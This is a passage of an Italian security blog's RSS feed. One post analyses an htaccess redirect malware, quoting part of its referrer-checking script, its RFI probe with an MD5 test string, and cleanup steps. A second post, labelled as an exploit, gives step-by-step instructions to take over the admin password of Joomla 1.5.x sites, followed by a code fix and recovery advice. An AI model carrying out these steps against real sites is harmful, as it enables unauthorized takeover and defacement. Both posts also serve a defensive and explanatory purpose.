</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>Math<span style="color: #339933;">.</span>random<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">60</span> <span style="color: #339933;">&lt;</span> JSS1<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> document<span style="color: #339933;">.</span>referrer<span style="color: #339933;">.</span>match<span style="color: #009900;">&#40;</span><span style="color: #339933;">/</span>^http<span style="color: #339933;">:</span>\<span style="color: #339933;">/</span>\<span style="color: #339933;">/</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span>a<span style="color: #339933;">-</span>z0<span style="color: #339933;">-</span><span style="color: #cc66cc;">9</span>_\<span style="color: #339933;">-</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span>\<span style="color: #339933;">.</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span>google<span style="color: #339933;">|</span>msn<span style="color: #339933;">|</span>yahoo<span style="color: #339933;">|</span>live<span style="color: #339933;">|</span>ask<span style="color: #339933;">|</span>dogpile<span style="color: #339933;">|</span>mywebsearch<span style="color: #339933;">|</span>yandex<span style="color: #339933;">|</span>rambler<span style="color: #339933;">|</span>aport<span style="color: #339933;">|</span>mail<span style="color: #339933;">|</span>gogo<span style="color: #339933;">|</span>poisk<span style="color: #339933;">|</span>
alltheweb<span style="color: #339933;">|</span>fireball<span style="color: #339933;">|</span>freenet<span style="color: #339933;">|</span>abacho<span style="color: #339933;">|</span>wanadoo<span style="color: #339933;">|</span>free<span style="color: #339933;">|</span>club<span style="color: #339933;">-</span>internet<span style="color: #339933;">|</span>aliceadsl<span style="color: #339933;">|</span>alice<span style="color: #339933;">|</span>skynet<span style="color: #339933;">|</span>terra<span style="color: #339933;">|</span>ya<span style="color: #339933;">|</span>orange<span style="color: #339933;">|</span>clix<span style="color: #339933;">|</span>terravista<span style="color: #339933;">|</span>gratis<span style="color: #339933;">-</span>ting<span style="color: #339933;">|</span>suomi24<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">./</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

</pre>
<h1><strong>Come Lavora</strong><br />
</h1>
<p>Dalle verifiche che ho potuto effettuare per ora risulta che non vi è una tecnica costante di intrusione ma i siti vengono hackerati sfruttando le falle presenti quindi si va dall'<strong>XSS (Cross Site Scripting)</strong> all'<strong>RFI (Remote File Inclusion) </strong>all'hacking (probabilmente tramite <strong>Brute Force</strong> ) dell'account Ftp con successivo upload dei file.</p>
<p>Nel dettaglio lo script effettua una primo tentativo di attacco tentando una <strong>HTTP Injection</strong> nel tentativo di fare includere nelle pagine della vittima un Url ad una pagina contenente il solo codice:</p>
<blockquote><p><strong><a title="Urlencoded Server list just_a_test" href="http://www.embedded.ch/php-echo-md5-just_a_test.htm"><strong>< ?php echo md5("just_a_test"); ?></strong></a></strong></p>
</blockquote>
<p>Questo semplice codice servirà a chi esegue l'Hacking per verificare la presenza della vulnerabilità o meno. Se tramite l'<strong>Http Injection</strong> individua nella pagine della vittima la stringa <strong>MD5</strong> della parola "just_a_test" avrà conferma che la vittima è vulnerabile in quanto elabora correttamente pagine esterne.</p>
<p>Se tale test da esito positivo effettuerà una seconda <strong>HTTP Injection</strong> facendo eseguire uno Script Php che provvederà a scansionare tutte le cartelle e file presenti nel sito creando i file ".htaccess" ed eseguendo l'edit di ogni file "<strong>.css</strong>" e "<strong>.js</strong>".</p>
<p>Potete trovare il dettaglio dei codici che vengono sfruttati nei seguenti link:</p>
<p><a href="http://www.whyron.com/http.htm" target="_blank">WhyRon 1</a></p>
<p><a href="http://www.embedded.ch/http2.htm" target="_blank">WhyRon 2</a></p>
<h1><strong>Come Rimuovere il Malware?</strong><br />
</h1>
<p>Attualmente, al fine di proteggersi e pulire il proprio sito è consigliabile effettuare le seguenti operazioni:</p>
<ol>
<li>Ricercare in tutti i file del proprio sito la stringa "<strong>a0b4df006e02184c60dbf503e71c87ad</strong>" ed eliminare il codice da tutte le pagine dove viene trovato. Eseguire la stessa ricerca cercando la stringa "<strong>aace99428c50dbe965acc93f3f275cd3</strong>" ed eliminare i file dove viene trovato. Il software <a href="http://www.powergrep.com/" target="_blank"><strong>PowerGrep</strong></a> (<a href="http://rapidshare.com/files/92492752/JGSoft.PowerGREP.v3.4.2-YAG.rar">Link Rapidshare</a>) in questo caso è molto utile.</li>
<li>Eliminare tutti i file e cartelle che si è sicuri non facciano riferimento al proprio sito. (Il file "t.htm" contenente la pagina malevola viene inserito all'interno di cartelle con nomi che apparentemente sembrano essere generati random)</li>
<li>Effettuare una scansione del proprio sito al fine di individuare la vulnerabilità che ha permesso tale intrusione. In questo caso consiglio di utilizzare uno degli Scanner disponibili on line come, ad esempio, <a href="http://www.acunetix.com/vulnerability-scanner/" target="_blank"><strong>Acunetix</strong></a>. </li>
<li>Effettuare un cambio dei dati o della sola password Ftp de Sito.</li>
</ol>
<p>Spero che tali informazioni siano state utili e vi informo che provvederò a mantenere aggiornato questo post man mano che scopro maggiori informazioni riguardo tale Hacking.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>[EXPLOIT] Joomla 1.5.x Remote Admin Password Change</title>
		<link>http://www.capn3m0.org/joomla-15x-remote-admin-password-change.html</link>
		<comments>http://www.capn3m0.org/joomla-15x-remote-admin-password-change.html#comments</comments>
		<pubDate>Sun, 14 Sep 2008 16:26:35 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Programmazione]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[joomla 1.5 vulnerabilities]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script php cms]]></category>
		<category><![CDATA[security exploit]]></category>
		<category><![CDATA[vulnerabilità]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/2008/09/joomla-15x-remote-admin-password-change/</guid>
		<description><![CDATA[In data 12 Agosto è stata scoperta una vulnerabilità del Cms Joomla versioni inferiori alla 1.5.6 che consente di sfruttare il componente &#8220;com_user&#8221; per editare a proprio piacimento la password di Administrator e, quindi, di sfruttare l&#8217;accesso Admin per eseguire defacement e simili. Al link seguente troverete l&#8217;annuncio ufficiale: http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html Questo, invece, quello dal Sito [...]]]></description>
			<content:encoded><![CDATA[<p>In data 12 Agosto è stata scoperta una vulnerabilità del Cms Joomla versioni inferiori alla 1.5.6 che consente di sfruttare il componente &#8220;com_user&#8221; per editare a proprio piacimento la password di Administrator e, quindi, di sfruttare l&#8217;accesso Admin per eseguire defacement e simili.</p>
<p>Al link seguente troverete l&#8217;annuncio ufficiale:</p>
<p><a href="http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html" target="_blank">http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html</a></p>
<p>Questo, invece, quello dal Sito Italiano:</p>
<p><a href="http://www.joomlaitalia.com/content/view/323/90/" target="_blank">http://www.joomlaitalia.com/content/view/323/90/</a></p>
<p><span id="more-3"></span>Sfruttare tale vulnerabilità risulta alquanto semplice poiché bastano pochi semplici passaggi per eseguire il reset:</p>
<p>1) Una volta individuato il Sito in Joomla caricare questo Url:</p>
<blockquote><p>/index.php?option=com_user&amp;view=reset&amp;layout=confirm</p>
</blockquote>
<p>2) A questo punto apparirà un form che chiederà l&#8217;inserimento di un codice che, teoricamente, avreste dovuto ricevere in mail</p>
<p>3) Inserite l&#8217;apice (&#8216;) come carattere continuate</p>
<p>4) A questo punto avrete il campo di cambio password e, inserendola, editerete direttamente il profilo Administrator <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_wink.gif' alt="[EXPLOIT] Joomla 1.5.x Remote Admin Password Change" class='wp-smiley' title="[EXPLOIT] Joomla 1.5.x Remote Admin Password Change pics" /> </p>
<p>Il supporto Joomla individuata la vulnerabilità (la variabile token non veniva correttamente verificata) ha provveduto a rilasciare in tempi da record la versione 1.5.6 con tale problema fixato. Dalla sua uscita sono stati scoperti ulteriori vulnerabilità che han portato alla release 1.5.7 in pochi giorni:</p>
<p>Potete scaricare dai seguenti link questa versione:</p>
<p><a href="http://joomlacode.org/gf/download/frsrelease/8376/30993/Joomla_1.5.7-Stable-Full_Package.zip" target="_blank">Joomla 1.5.7 Full Eng</a></p>
<p><a href="http://download.joomla.it/index.php?option=com_docman&amp;task=doc_download&amp;gid=717&amp;&amp;Itemid=2" target="_blank">Joomla 1.5.7 Full Ita</a></p>
<p>Per chi avesse subito un&#8217;hacking sfruttando questa vulnerabilità consiglio di aggiornare a questa versione e, nel caso siano ancora visibili &#8220;tracce&#8221; (home page cambiate) dell&#8217;hacker ho notato, per esperienza, che le pagine maggiormente colpite sono 3:</p>
<ul>
<li>configuration.php</li>
<li>index.php (del template attivo nel Cms)</li>
<li>la cartella &#8220;cache&#8221; (consiglio di svuotarla)</li>
</ul>
<p>Provvedete a ripristinare le originali e il problema è risolto.</p>
<p>Dato che trovere il vostro account Admin non accessibile visto che è stata cambiata la password sarà necessario effettuare l&#8217;accesso direttamente al PhpMyAdmin e riscrivere la password nel Database.</p>
<p>Una guida a questa operazione la potete trovare <a href="http://wiki.joomla.it/index.php?title=Recupero_password_admin" target="_blank">qui</a>.</p>
<p>Per chi non avesse sbattimento ho fatto uno scriptino veloce veloce che fa la stessa cosa. Basta copiare il file nella root della vostra installazione Joomla, richiamarlo da Browser e impostare la password.</p>
<p>Il file lo potete scaricare dal seguente link:</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2008/09/change_pwd.rar">Joomla Change Admin Password</a></p>
<p>Infine, x chi ha molto sbattimento, di seguito la guida a come fixare tale vulnerabilità manualmente.</p>
<ol>
<li>Aprire il file &#8220;/components/com_user/models/reset.php&#8221;</li>
<li>Posizionarsi alla riga 113 dopo la riga &#8220;global $mainframe;&#8221; ed inserire il seguente codice<br />
<blockquote><p><strong>if(strlen($token) != 32) {<br />
 $this-&gt;setError(JText::_(&#8216;INVALID_TOKEN&#8217;));<br />
 return false;<br />
 }</strong></p>
</blockquote>
</li>
<li>
<pre>Fine dei giochi! <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_biggrin.gif' alt="[EXPLOIT] Joomla 1.5.x Remote Admin Password Change" class='wp-smiley' title="[EXPLOIT] Joomla 1.5.x Remote Admin Password Change pics" /> </pre>
</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/joomla-15x-remote-admin-password-change.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Served from: www.capn3m0.org @ 2012-02-08 20:37:06 by W3 Total Cache -->
